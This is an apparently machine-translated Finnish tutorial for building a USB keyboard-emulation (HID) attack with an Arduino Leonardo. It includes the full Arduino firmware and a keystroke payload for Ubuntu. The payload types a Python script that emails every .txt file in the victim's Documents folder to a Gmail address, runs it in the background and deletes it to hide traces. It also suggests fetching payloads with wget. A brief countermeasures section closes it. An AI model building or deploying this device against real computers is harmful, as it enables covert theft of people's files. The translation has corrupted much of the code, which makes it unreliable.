Sisällysluettelo:
- Vaihe 1: Materiaalit
- Vaihe 2: Laitteen rakentaminen
- Vaihe 3: Kuinka se toimii yksityiskohdissa
- Vaihe 4: Vastatoimenpiteet
Video: Arduino Keyboard Exploit Demo (HID) ja ehkäisy: 4 vaihetta (kuvilla)
2024 Kirjoittaja: John Day | [email protected]. Viimeksi muokattu: 2024-01-30 09:03
Tässä projektissa aiomme käyttää arduino leonardoa simuloimaan mahdollista USB -hyökkäystä HID: n (humain interface device) avulla.
Olen luonut tämän opetusohjelman auttaakseni hakkereita, vaan näyttääkseni sinulle todellisia vaaroja ja kuinka suojata itsesi näiltä vaaroilta. Tämä laite ei ole laite, jota voidaan käyttää millä tahansa hakkereiden alustalla, vaan se on enemmän todiste konseptista yksityiskohtaisesti.
Aiomme oppia seuraavaa:
- kuinka käyttää arduino Leonardo emuloida näppäimistö
- kuinka lukea tietoja SD -kortilta
- kuinka luodaan python -skripti, joka skannaa tiedostot ja lähettää heille sähköpostia
- kuinka suojautua USB -hakkerointilaitteilta
Vaihe 1: Materiaalit
Osat:
1. Arduino Leonardo
2. mikro -USB -kortinlukija
3. muutaman gigatavun SD -kortti
4. painike, kuten tämä (VCC, maa ja signaali)
5. naaras-uros- ja naaras-naaras-hyppyjohdot
6. mikro -USB -USB -kaapeli
Vaihe 2: Laitteen rakentaminen
Ennen rakennusohjeita tarkastelemme toimintaperiaatetta:
Arduino Leonardo voi käyttäytyä kuin ihmisen käyttöliittymä (HID) ja siksi voi jäljitellä hiirtä ja näppäimistöä. Käytämme tätä ominaisuutta avataksesi päätelaitteen (UBUNTU -linuxissa) ja kirjoittaa pienen komentosarjan, joka avaa /Asiakirjat -kansion käyttäjän kotikansion sisällä kopioi.txt -tiedostot sinne ja lähettää ne sähköpostitse. Jos haluat lisätietoja, tarkista seuraava vaihe.
Koska se on demolaite, asiat ovat todella yksinkertaisia, emme aio juottaa mitään.
Rakennusohjeet
Ennen kuin aloitamme, tarkista liitetyt tiedostot, olen liittänyt fritzing -kaaviot ja kaikki tarvittavat tiedostot
1. Kokoa osat:
* Liitä mikro -USB -kaapeli arduinoon
* kytke avainkytkin arduinoon (maa-, vcc- ja ulostulomoduuli D8: een)
* Liitä kortinlukija arduinoon (ICSP -otsikon avulla). Arduino Leonardo ei liitä ICSP -otsikkoa digitaalisiin nastoihin, joten sinun on liitettävä kortinlukija ICSP -otsikkoon. Löydät piirustuksia ICSP: stä täältä: https://learn.sparkfun.com/tutorials/installing-an…. Liitä SS -nasta digitaaliseen nastaan 10
2. hanki arduino -koodi, voit kloonata arduino -arkistoni githubissa: https://github.com/danionescu0/arduino ja siirry projekteihin/keyboard_exploit tai hanki se alta:
#include "Keyboard.h"
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Nukkuminen::"; String commandStartingPoint = "Komento::"; int delayBetweenCommands = 10; const int -painikePin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Sarja.alku (9600); Näppäimistö.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kortti epäonnistui tai sitä ei ole!"); palata; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Ladattu!"); viive (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {Tiedostotiedosto = SD.open (tiedostonimiOnCard); if (! dataFile) {Serial.println ("Määritettyä tiedostonimeä ei ole SD -kortilla, tarkista filenameOnCard!"); } Merkkijono; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Sarja.println (rivi); sendToKeyboard (rivi); } dataFile.close (); } void sendToKeyboard (merkkijono) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); palata; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (rivi); paina Enter(); palata; } Serial.println ("Komento:"); int charPosition = commandStartingPoint.length (); int linePituus = viiva.pituus (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Merkkikomento = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (komento! = "") {Serial.print ("Komento löytyi:"); Serial.println (komento); Keyboard.press (getCommandCode (komento)); delay (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); viive (sleepAmount); } char getCommandCode (merkkijono) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char -koodi = textCharacters [0]; koodi = (teksti == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: koodi; koodi = (teksti == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: koodi; koodi = (teksti == "KEY_LEFT_ALT")? KEY_LEFT_ALT: koodi; koodi = (teksti == "KEY_UP_ARROW")? KEY_UP_ARROW: koodi; koodi = (teksti == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: koodi; koodi = (teksti == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: koodi; koodi = (teksti == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: koodi; koodi = (teksti == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: koodi; koodi = (teksti == "KEY_BACKSPACE")? KEY_BACKSPACE: koodi; koodi = (teksti == "KEY_TAB")? KEY_TAB: koodi; koodi = (teksti == "KEY_RETURN")? KEY_RETURN: koodi; koodi = (teksti == "KEY_ESC")? KEY_ESC: koodi; koodi = (teksti == "KEY_INSERT")? KEY_INSERT: koodi; koodi = (teksti == "KEY_DELETE")? KEY_DELETE: koodi; koodi = (teksti == "KEY_PAGE_UP")? KEY_PAGE_UP: koodi; koodi = (teksti == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: koodi; koodi = (teksti == "KEY_HOME")? KEY_HOME: koodi; koodi = (teksti == "KEY_END")? KEY_END: koodi; koodi = (teksti == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: koodi; koodi = (teksti == "KEY_F1")? KEY_F1: koodi; koodi = (teksti == "KEY_F2")? KEY_F2: koodi; koodi = (teksti == "KEY_F3")? KEY_F3: koodi; koodi = (teksti == "KEY_F4")? KEY_F4: koodi; koodi = (teksti == "KEY_F5")? KEY_F5: koodi; koodi = (teksti == "KEY_F6")? KEY_F6: koodi; koodi = (teksti == "KEY_F7")? KEY_F7: koodi; koodi = (teksti == "KEY_F8")? KEY_F8: koodi; koodi = (teksti == "KEY_F9")? KEY_F9: koodi; koodi = (teksti == "KEY_F10")? KEY_F10: koodi; koodi = (teksti == "KEY_F11")? KEY_F1: koodi; koodi = (teksti == "KEY_F12")? KEY_F2: koodi;
palautuskoodi;
}
3. Lähetä koodi arduinoon, muista valita 9600 baudinopeus, sarjaportti ja arduino leonardo
4. Alusta SD -kortti käyttämällä FAT16- tai FAT32 -tiedostoja
5. Jos olet kloonannut github -repon ylhäältä, kopioi hack.txt -tiedosto kortille, jos tiedosto ei ole alla:
Komento:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT tuoda smtplib tuonti globaali, os osppath tuoda laajennin sähköpostista. MIMEMultipart tuoda MIMEMultipart sähköpostista. MIMEBase tuoda MIMEBase sähköpostista. MIMEText tuo MIMEText sähköpostista. Hyödyntää tuoda COMMASPACE, formatdate from email import Encoders
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'vastaanottaja_osoite' scan_documents_location = 'Asiakirjat'
subject = body = 'Tiedostot hakkeroidulta tietokoneelta'
header = 'Vastaanottaja: {0} nLähettäjä: {1} nAsia: {2} n'.format (osoitteeseen_osoite, smtp_user, aihe)
def sendMail (kohteeseen, aihe, teksti, tiedostot = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = aihe msg.attach (MIMEText (teksti)) tiedostoissa oleville tiedostoille: part = MIMEBase ('sovellus', "oktettivirta") part.set_payload (auki (tiedosto, "rb"). Lue ()) Encoders.encode_base64 (osa). add_header ('Content-Disposition', 'liite; tiedostonimi = " % s"' % os.path.basename (tiedosto)) msg.attach (osa)
palvelin = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, kohteeseen, msg.as_string ()) server.quit ()
sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Lepotila:: 50 komentoa:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. Muokkaa seuraavia rivejä:
smtp_user = 'lähettäjän_sähköpostiosoite'
smtp_pass = 'sender_password' to_address = 'vastaanottaja_osoite'
Ja korvaa sähköpostiosoitteillasi
7. Poista kortti ja aseta se arduino -kortinlukijaan
Vaihe 3: Kuinka se toimii yksityiskohdissa
Hyökkäys toimii:
1. Kun painiketta painetaan, Leonardo lukee SD -kortin SD -kortinlukijan avulla. Kortilla on erityinen tiedosto, joka sisältää näppäimet ja näppäinyhdistelmät. Tiedoston nimi on "hack.txt".
Tiedosto voi sisältää raakatekstiä ja se välitetään näppäimistölle sellaisenaan.
Se voi myös sisältää erikoiskomentoja, kuten "Sleep::" ja "Command::".
Rivi kuten:
Lepotila:: 200 tarkoittaa 200 ms lepotilaa
Rivi kuten:
Komento:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t tarkoittaa vasenta ctrl painettuna, vasen alt painettuna, t painettuna ja kaikki vapautettu
Voit tarkistaa kaikki erikoisavaimet täältä:
2. Leonardo lukee rivi riviltä ja tulkitsee komennot ja jäljittelee näppäimistön näppäimiä. Tiedosto "hack.txt" sisältää näppäinyhdistelmän, joka toimii seuraavasti (UBUNTU Linux):
a. avaa päätelaitteen (CTRL + ALT + T)
b. avaa python -tiedoston luomista varten vi: llä (kirjoittaa "vi hack.py"
c. kirjoittaa sisälle python -komentosarjan, joka kerää kaikki asiakirjojen kotikansion sisältämät tekstitiedostot ja lähettää ne tiettyyn Gmail -osoitteeseen
d. suorittaa tiedoston taustalla ("nohup python hack.py &")
e. poistaa tiedoston (rm -rf hack.py)
f. sulkee terminaalin (ALT + F4)
Tämä kaikki tapahtuu muutamassa sekunnissa eikä jätä jälkiä.
Parannuksia ja vianetsintää
* Olet ehkä huomannut, että kun avaan päätelaitteen, kirjoitan python -tiedostoa. Parempi tapa siihen on isännöidä se jonnekin ja ladata se komennolla "wget some_url" ja nimetä se uudelleen hack.py
* Lisäksi voimme ladata tai suorittaa valmiita hyökkäyksiä kohdennetulle käyttöjärjestelmälle
* wifi voidaan lisätä moduuliin, ja hakkerointi voidaan ladata WIFI: n kautta
* Voit käyttää arduino micro (joka on paljon pienempi) ja upottaa siihen hyväksikäyttökoodin (pienentääksesi sitä)
Rajoitukset
1. Koska simuloidulla laitteella (näppäimistö ja hiiri) ei ole palautetta, emme tiedä, mitä tapahtuu komennon antamisen jälkeen, mikä tarkoittaa, että meidän on käytettävä viiveitä. Esimerkiksi annan komennon terminaalin avaamiseksi, mutta en tiedä milloin se todella avataan, joten minun on määritettävä mielivaltainen viive varmistaakseni, että sen jälkeen kirjoitetut merkit eivät katoa.
2. Saatamme kohdata käyttöoikeusongelmia, kuten pääsyn USB -porttiin tai luvan asentaa jotain
3. Kirjoitusnopeus ei ole kovin hyvä Leonardossa
4. Toimii vain kohdennetussa käyttöjärjestelmässä (meidän tapauksessamme UBUNTU linux)
Seuraavassa vaiheessa yritetään löytää tapoja hyödyntää näitä rajoituksia estääksemme tietokoneemme hakkeroinnin
Vaihe 4: Vastatoimenpiteet
1. USB -porttien poistaminen käytöstä
-Windowsissa voit tarkistaa tämän opetusohjelman:
2. USB -laitteiden sallittujen luettelo:
- Windows:
2. Lukitse tietokone, kun et ole poissa
3. Älä kirjaudu pääkäyttäjänä (vaadi salasanoja minkään asennukseen)
4. Pidä itsesi ajan tasalla (automaattiset päivitykset käytössä)
Suositeltava:
HID -näppäimistöohjain projektille Diva Aracade Future Tone: 5 vaihetta
HID-näppäimistöohjain projektille Diva Aracade Future Tone: V-USB on hidas USB-kirjastoratkaisu AVR-mikro-ohjaimille. Sen avulla voimme luoda HID -laitteita (näppäimistö, hiiri, peliohjain jne.) Käyttämällä AVR -mikro -ohjaimia. HID -näppäimistön toteutus perustuu HID 1.11: een. Se tukee enintään 6 näppäimen painallusta
Edullisen MR -pelin demo: 9 vaihetta
Edullisten MR -pelien demo: http://www.bilibili.com/video/av7937721/ (video -url Manner -Kiinassa) Overview: Aseta merkintä kuva kahdelle akselille -merkki, he ampuvat toisiaan pelimaailmassa. Käytä AR: ää selvittääksesi kulmapanoksen
ThinkPad Classic Keyboard Mod: 7 vaihetta (kuvilla)
ThinkPad Classic Keyboard Mod: Jos sinulla on Lenovo ThinkPad T430, T430s tai X230 ja haluat vaihtaa varastossa olevan 6-rivisen chiclet-tyyppisen näppäimistön klassiseen 7-riviseen T410/T420-näppäimistöön, tässä oppaassa näytetään, miten se tehdään. Tämän pitäisi toimia myös X230t-, T530- ja W530.xx30 -sarjoissa Think
Ps2 -ohjain USB Hid -näppäimistöemulaattoriin: 3 vaihetta
Ps2 -ohjaimen ja USB -näppäimistön emulaattori: Tämä on pieni projekti, jolla luodaan ohjelmoitava PC -usb -sovitin ps2 -ohjaimelle. Se on cross platform. Tein sen, koska minulla oli vaikeuksia asentaa tavallista ohjelmistoratkaisua (antimicro, joy2key jne.). Kirjasto ei koota teini -ikäisille
Kuinka asentaa HID: t [ajovalojen muunnossarja] DIY 2012 Ram Quad -ajovaloautoihin: 10 vaihetta
Kuinka asentaa HID: t [ajovalojen muunnossarja] DIY 2012 Ram Quad -ajovaloautoihin: Hei kaikille! Sain vihdoin " sain toisen " auto piilotettu ajovalojen DIY -opetusohjelma sinulle, tällä kertaa se ja HID -muuntosarja BFxenon HID -laitteiden asentamisesta vuoden 2012 Ram Quad -ajovalotrukkeihin. Se on TODELLA HELPPOA =] Toivottavasti pidätte kaikki